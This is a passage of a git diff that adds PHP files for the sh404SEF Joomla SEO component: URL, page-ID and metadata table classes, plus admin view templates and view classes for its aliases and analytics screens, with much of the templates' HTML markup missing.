$this->og_locality = JString::trim($this->og_locality); + $this->og_postal_code = JString::trim($this->og_postal_code); + $this->og_region = JString::trim($this->og_region); + $this->og_country_name = JString::trim($this->og_country_name); + $this->og_email = JString::trim($this->og_email); + $this->og_phone_number = JString::trim($this->og_phone_number); + $this->og_fax_number = JString::trim($this->og_fax_number); + + $this->twittercards_site_account = JString::trim($this->twittercards_site_account); + $this->twittercards_creator_account = JString::trim($this->twittercards_creator_account); + $this->google_authorship_author_profile = JString::trim($this->google_authorship_author_profile); + $this->google_authorship_author_name = JString::trim($this->google_authorship_author_name); + $this->google_publisher_enable = JString::trim($this->google_publisher_enable); + $this->google_publisher_url = JString::trim($this->google_publisher_url); + + if ($this->newurl == '/'){ + $this->newurl = sh404SEF_HOMEPAGE_CODE; + } + + // check for valid URLs + if ($this->newurl == ''){ + $this->setError( JText::_('COM_SH404SEF_EMPTYURL')); + return false; + } + + if( JString::substr( $this->newurl, 0, 9) != 'index.php') { + $this->setError( JText::_('COM_SH404SEF_BADURL')); + return false; + } + + // check for existing record, even if id is empty. This may happen + // in some circumstances, when saving data from popup, ajaxified, dialog boxes + if(empty($this->id)) { + try { + $existingId = ShlDbHelper::selectResult( $this->_tbl, 'id', array('newurl' => $this->newurl)); + if(!empty( $existingId)) { + $this->id = $existingId; + } + } catch (Exception $e) { + + } + + } + return true; + } + + /** + * Inserts a new row if id is zero or updates an existing row in the database table + * + * Overloaded to check for empty metas data. We don't want to store totally + * empty values in the table. This may happen if user has cleared all fields + * to remove existing metas, or if the url only was customized for instance + * + * @access public + * @param boolean If false, null object variables are not updated + * @return null|string null if successful otherwise returns and error message + */ + function store( $updateNulls=false ) { + + // find if record is empty (other than id of record) + $sum = ''; + foreach ($this->getProperties() as $k => $v) { + if ($k != $this->_tbl_key && $k != 'newurl') { + $sum .= $v; + } + } + + $k = $this->_tbl_key; + // trying to save a new empty record, quit but return true so no error + if (empty($sum) && empty( $this->$k)) { + return true; + } + + // trying to save an empty record, but record already exists. + // we want to delete the record instead of overwriting it + if (empty($sum)) { + $this->delete(); + $error = $this->getError(); + return empty( $error); + } + + return parent::store( $updateNulls); + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/tables/pageids.php b/deployed/sh404sef/administrator/components/com_sh404sef/tables/pageids.php new file mode 100644 index 00000000..6d95e907 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/tables/pageids.php @@ -0,0 +1,86 @@ +id) ) { + return true; + } + + if (empty( $this->pageid) || empty( $this->newurl)) { + return false; + } + + // if new record, check there is no record with same pageid + // or non-sef + $count = ShlDbHelper::count($this->_tbl, '*', $this->_db->quoteName( 'pageid') . ' = ? or ' . $this->_db->quoteName( 'newurl') . ' = ?', array($this->pageid, $this->newurl)); + + return empty( $count); + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/tables/urls.php b/deployed/sh404sef/administrator/components/com_sh404sef/tables/urls.php new file mode 100644 index 00000000..beb726b9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/tables/urls.php @@ -0,0 +1,130 @@ +oldurl = JString::trim($this->oldurl); + $this->newurl = JString::trim($this->newurl); + + // check for valid URLs + if (($this->oldurl == '') || ($this->newurl == '')) + { + $this->setError(JText::_('COM_SH404SEF_EMPTYURL')); + return false; + } + + if (JString::substr($this->oldurl, 0, 1) == '/') + { + $this->setError(JText::_('COM_SH404SEF_NOLEADSLASH')); + return false; + } + + if (JString::substr($this->newurl, 0, 9) != 'index.php') + { + $this->setError(JText::_('COM_SH404SEF_BADURL')); + return false; + } + + // check for a 404 record with the same SEF. Delete it if found + // and we're trying to save a full record, one with sef and non-sef + if (!empty($this->newurl)) + { + ShlDbHelper::runQuotedQuery('delete from ?? where ?? = ? and ?? != ? and ?? = ?', + array('#__sh404sef_urls', 'oldurl', 'dateadd', 'newurl'), array($this->oldurl, '0000-00-00', '')); + } + + // check for pre-existing non-sef + $xid = ShlDbHelper::selectObject($this->_tbl, array('id', 'oldurl'), $this->_db->quoteName('newurl') . ' LIKE ?', array($this->newurl)); + + // raise error if we found a record with the same non-sef url + // but don't if both newurl and old url are same. It means we may have changed alias list + if ($xid && $xid->id != intval($this->id)) + { + $this->setError(JText::_('COM_SH404SEF_URLEXIST')); + return false; + } + + return true; + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.full.php new file mode 100644 index 00000000..1057e08a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.full.php @@ -0,0 +1,176 @@ + + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + helpMessage)) echo $this->helpMessage; ?> + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +
    + +sidebar)): ?> +
    + sidebar; ?> +
    +
    + +
    + loadTemplate( $this->joomlaVersionPrefix . '_filters')?> + +
    + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $alias = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $alias->id); + ?> + + "> + + + + + + + + + + + + + + + + +
    + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + +
    + pagination->getListFooter(); ?> +
    + pagination->getRowOffset( $i ); ?> + + + + 'editalias', 'task' => 'edit', 'view' => 'editurl', 'startOffset' => '2','cid[]' => $alias->id, 'tmpl' => 'component'); + $aliasData = array( 'title' => JText::_('COM_SH404SEF_MODIFY_ALIAS_TITLE') . ' ' .$alias->oldurl, 'class' => 'modalediturl', 'anchor' => $alias->alias); + $modalOptions = array( 'size' => array('x' =>800, 'y' => 600)); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $aliasData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + ?> + + escape( $alias->newurl); + $sefConfig = & Sh404sefFactory::getConfig(); + if (!empty( $alias->oldurl)) { + echo '
    (' . $this->escape( $alias->oldurl) . ')'; + $link = JURI::root() . ltrim( $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $alias->oldurl; + } else { + echo '
    (-)'; + $link = JURI::root() . $alias->newurl; + } + // small preview icon + echo ' '; + echo '\''.JText::_('COM_SH404SEF_PREVIEW').'\''; + echo ''; + ?> + +
    + +
    + + + + + + + + + +
    + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.php @@ -0,0 +1,17 @@ + + + + + + + + + +
    + : + + + + +   + + optionsSelect->components; ?> + + optionsSelect->languages; ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.full.php new file mode 100644 index 00000000..3c1d2805 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.full.php @@ -0,0 +1,184 @@ + +
     
    + + +
    + +
    + +
    + + +
    + +
    + + +
    +sidebar; ?> +
    + + +
    + + + +
    + +
    + + +
    + + +
    +
    + helpMessage, $type = 'info', $dismiss = true); + echo Sh404sefHelperLanguage::getLanguageFilterWarning(); + ?> + +
    + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $alias = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $alias->id); + ?> + + + + + + + + + + + + + + + + + + +
      + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + +
    + ' . $this->pagination->getListFooter() . ''; ?> +
    + pagination->getRowOffset( $i ); ?> + + + + 'editalias', 'task' => 'edit', 'view' => 'editurl', 'startOffset' => '2','cid[]' => $alias->id, 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $params['linkTitle'] = JText::_('COM_SH404SEF_MODIFY_ALIAS_TITLE'). ' ' . $this->escape($alias->oldurl); + $params['linkTitle'] = Sh404sefHelperHtml::abridge($params['linkTitle'], 'editurl'); + $modalTitle = ''; + $name = '-editurl-' . $alias->id; + $params['linkClass'] = 'shl-list-sef'; + $params['linkType'] = 'a'; + echo ShlHtmlModal_helper::modalLink($name, $alias->alias, $targetUrl, Sh404sefFactory::getPConfig()->windowSizes['editurl']['x'], Sh404sefFactory::getPConfig()->windowSizes['editurl']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + ?> + + escape( $alias->newurl); + $sefConfig = & Sh404sefFactory::getConfig(); + if (!empty( $alias->oldurl)) { + echo '
    (' . $this->escape( $alias->oldurl) . ')'; + $link = JURI::root() . ltrim( $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $alias->oldurl; + } else { + echo '
    (-)'; + $link = JURI::root() . $alias->newurl; + } + // small preview icon + echo ' '; + echo '\''.JText::_('COM_SH404SEF_PREVIEW').'\''; + echo ''; + ?> + +
    + +
    + +
    + +
    + + +
    + + + + + + + + + + + +
    +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.php new file mode 100644 index 00000000..970c1a25 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.php @@ -0,0 +1,16 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.full.php new file mode 100644 index 00000000..b0d54728 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.full.php @@ -0,0 +1,299 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + $this->footerText = JText::sprintf('COM_SH404SEF_FOOTER_' . strtoupper(Sh404sefConfigurationEdition::$id), + Sh404sefFactory::getConfig()->version, Sh404sefConfigurationEdition::$name, date('Y')); + + + // get model and update context with current + $model = $this->getModel(); + $context = $model->setContext($this->_context . '.' . $this->getLayout()); + + // read data from model + $list = $model->getList((object) array('layout' => $this->getLayout())); + + // and push it into the view for display + $this->items = $list; + $this->itemCount = count($this->items); + $this->pagination = $model->getPagination(); + $options = $model->getDisplayOptions(); + $this->options = $options; + $this->helpMessage = JText::_('COM_SH404SEF_ALIASES_HELP_NEW_ALIAS'); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/j3.js'); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // add display filters + $this->_addFilters(); + + // variable for modal, not used in 3..x+ + $params = array(); + + // render submenu sidebar + $this->sidebar = Sh404sefHelperHtml::renderSubmenu(); + } + else + { + // add link to css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css'); + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/list.js'); + + // add behaviors and styles as needed + $modalSelector = 'a.modalediturl'; + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) {parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}}'; + $params = array('overlayOpacity' => 0, 'classWindow' => 'sh404sef-popup', 'classOverlay' => 'sh404sef-popup', 'onClose' => $js); + Sh404sefHelperHtml::modal($modalSelector, $params); + + $this->optionsSelect = $this->_makeOptionsSelect($options); + } + + // build the toolbar + $toolbarMethod = '_makeToolbar' . ucfirst($this->joomlaVersionPrefix); + if (is_callable(array($this, $toolbarMethod))) + { + $this->$toolbarMethod($params); + } + + // now display normally + parent::display($this->joomlaVersionPrefix); + } + + /** + * Create toolbar for default layout view + * + * @param midxed $params + */ + private function _makeToolbarJ2($params = null) + { + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // add title + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_ALIASES_MANAGER'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + + // add "New url" button + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + + // add edit button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 800, 'y' => 600); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=editalias&task=edit&tmpl=component&view=editurl&startOffset=2'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'edit', $url, JText::_('Edit'), $msg = '', $task = 'edit', $list = true, $hidemenu = true, $params); + + // add delete button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=editalias&task=confirmdelete&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'delete', $url, JText::_('Delete'), $msg = JText::_('VALIDDELETEITEMS', true), $task = 'delete', + $list = true, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // add import button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 400); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=aliases'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'import', $url, JText::_('COM_SH404SEF_IMPORT_BUTTON'), $msg = '', $task = 'import', + $list = false, $hidemenu = true, $params); + + // add export button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=aliases'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'export', $url, JText::_('COM_SH404SEF_EXPORT_BUTTON'), $msg = '', $task = 'export', + $list = false, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // edit home page button + $params['class'] = 'modalediturl'; + $params['size'] = array('x' => 800, 'y' => 600); + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}'; + $params['onClose'] = $js; + $bar + ->appendButton('Shpopupbutton', 'home', JText::_('COM_SH404SEF_HOME_PAGE_ICON'), + "index.php?option=com_sh404sef&c=editalias&task=edit&view=editurl&home=1&tmpl=component&startOffset=1", $params); + + // separator + JToolBarHelper::divider(); + + // add modal handler for configuration + JHTML::_('behavior.modal'); + $configbtn = '' + . JText::_('COM_SH404SEF_CONFIGURATION') . ''; + $bar->appendButton('custom', $configbtn, 'sh-configbutton-button'); + } + + private function _makeToolbarJ3($params = null) + { + + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_ALIASES_MANAGER'), 'sh404sef-toolbar-title'); + + // add "New url" button + $bar = JToolBar::getInstance('toolbar'); + + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + + // add edit button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['editurl']; + $params['buttonClass'] = 'btn btn-small btn-primary'; + $params['iconClass'] = 'icon-edit'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=editalias&task=edit&tmpl=component&view=editurl&startOffset=2'; + $bar + ->appendButton('J3popuptoolbarbutton', 'edit', JText::_('JTOOLBAR_EDIT'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = '', $params); + + // delete button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['confirm']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-trash'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=editalias&task=confirmdelete&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'delete', JText::_('JTOOLBAR_DELETE'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_CONFIRM_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // add import button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['import']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-upload'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=aliases'; + $bar + ->appendButton('J3popuptoolbarbutton', 'import', JText::_('COM_SH404SEF_IMPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_IMPORTING_TITLE'), $params); + + // add export button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['export']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-download'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=aliases'; + $bar + ->appendButton('J3popuptoolbarbutton', 'export', JText::_('COM_SH404SEF_EXPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_EXPORTING_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // edit home page button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['editurl']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-home'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=editalias&task=edit&view=editurl&home=1&tmpl=component&startOffset=1'; + $bar + ->appendButton('J3popuptoolbarbutton', 'home', JText::_('COM_SH404SEF_HOME_PAGE_ICON'), $url, $params['size']['x'], $params['size']['y'], + $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_HOME_PAGE_EDIT_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // prepare configuration button + $params = array(); + $params['class'] = 'modaltoolbar btn-success'; + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['configuration']; + $params['buttonClass'] = 'btn-success btn btn-small modal'; + $params['iconClass'] = 'icon-options'; + $url = 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&component=com_sh404sef&hidemainmenu=1'; + $bar + ->appendButton('J3popuptoolbarbutton', 'configj3', JText::_('COM_SH404SEF_CONFIGURATION'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = '', $params); + } + + private function _makeOptionsSelect($options) + { + + $selects = new StdClass(); + + // component list + $current = $options->filter_component; + $name = 'filter_component'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_COMPONENTS'); + $selects->components = Sh404sefHelperHtml::buildComponentsSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // language list + $current = $options->filter_language; + $name = 'filter_language'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_LANGUAGES'); + $selects->languages = Sh404sefHelperHtml::buildLanguagesSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, $selectAllTitle); + + // return set of select lists + return $selects; + } + + private function _addFilters() + { + // component selector + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_COMPONENTS'), 'filter_component', + JHtml::_('select.options', Sh404sefHelperGeneral::getComponentsList(), 'element', 'name', $this->options->filter_component, true)); + + // language list + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_LANGUAGES'), 'filter_language', + JHtml::_('select.options', JHtml::_('contentlanguage.existing', $all = false, $translate = true), 'value', 'text', + $this->options->filter_language, false)); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.php new file mode 100644 index 00000000..e7947608 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.php @@ -0,0 +1,17 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.full.php new file mode 100644 index 00000000..b9b6b612 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.full.php @@ -0,0 +1,86 @@ + + + +
    + + + isAjaxTemplate) : + + ?> +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + + loadTemplate( $this->joomlaVersionPrefix . '_' . $this->options['report']); + ?> + + analytics->status) || $this->options['subrequest'] == 'headers') { + + echo $this->loadTemplate( $this->joomlaVersionPrefix . '_' . $this->options['subrequest']); + + } + + endif; + + ?> + +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.php @@ -0,0 +1,17 @@ + + + + analytics->filters)) { + foreach( $this->analytics->filters as $filter) { + echo $filter; + } + } + ?> + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_global.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_global.php new file mode 100644 index 00000000..d872d041 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_global.php @@ -0,0 +1,168 @@ + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +   + + escape( $this->analytics->analyticsData->global->visits); ?> +
    +   + + escape($this->analytics->analyticsData->global->visitors); ?> +
    +   + + escape($this->analytics->analyticsData->global->pageviews); ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->pagesPerVisit)); ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->bounceRate * 100)) . ' %'; ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->avgTimeOnSite)) . ' s.'; ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->newVisitsPerCent*100)) . ' %'; ?> +
    +   + + escape($this->analytics->analyticsData->global->totalSocialEvents); ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->visitsWithSocialEngagement * 100)) . ' %'; ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_facebook); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_tweeter); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_pinterest); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_gplus); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_gplus_page); ?> +
    + +
    +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_headers.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_headers.php new file mode 100644 index 00000000..e3297fbe --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_headers.php @@ -0,0 +1,44 @@ + + + + + + + + + + analytics->status)) : + + echo $this->loadTemplate( $this->joomlaVersionPrefix . '_filters'); + + endif; + ?> + +
    + options['showFilters'] == 'yes'; + echo ' [' + . JText::_('COM_SH404SEF_CHECK_ANALYTICS').']'; + echo ' '; + echo empty($this->analytics->status) ? JText::_('COM_SH404SEF_ERROR_CHECKING_ANALYTICS') : $this->escape( $this->analytics->statusMessage); + ?> +
    + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_perf.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_perf.php new file mode 100644 index 00000000..5e46f40b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_perf.php @@ -0,0 +1,69 @@ + + +
    +
    + + + + + + + + + + + + +
    + + + + + + + + + + + + +
    +   + + escape(sprintf( '%0.2f', $this->analytics->analyticsData->perf->avgPageCreationTime)) . ' s.'; ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->perf->avgMemoryUsed)) . ' Mb'; ?> +
    +
    + + + + + + +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->perf->loggedInUserRate * 100)) . ' %'; ?> +
    +
    + +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_sources.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_sources.php new file mode 100644 index 00000000..a18af84b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_sources.php @@ -0,0 +1,35 @@ + + +
    + +
    + + + + +
      +
    • +
      +
    • +
    +
    + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5referrers.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5referrers.php new file mode 100644 index 00000000..dadf30a0 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5referrers.php @@ -0,0 +1,107 @@ + + +
    +
    + options['max-top-referrers']); ?> + + + + + + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->top5referrers as $entry) : + ?> + + "> + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + +
    + + + escape( $entry->dimension['source']); ?> + + escape( $entry->dimension['referralPath']); ?> + + escape( $entry->views); ?> + + escape( sprintf( '%0.1f', $entry->viewsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnSite)); + ?> +
    + +
    +
    + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5urls.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5urls.php new file mode 100644 index 00000000..7def48d6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5urls.php @@ -0,0 +1,98 @@ + +
    +
    + options['max-top-urls']); ?> + + + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->top5urls as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + escape( $entry->dimension['pagePath']); ?> + + escape( $entry->pageviews); ?> + + escape( sprintf( '%0.1f', $entry->pageviewsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + +
    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialfb.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialfb.php new file mode 100644 index 00000000..bf37ac20 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialfb.php @@ -0,0 +1,122 @@ + +
    +
    + + analytics->analyticsData->topSocialFB)) : ?> + + + + + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialFB as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + dimension['eventAction']) { + case 'like': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_LIKE'; + break; + case 'unlike': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_UNLIKE'; + break; + case 'send': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_SEND'; + break; + default: + $action = '-'; + break; + } + echo $this->escape( JText::_($action)); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> +
    + + + + + +
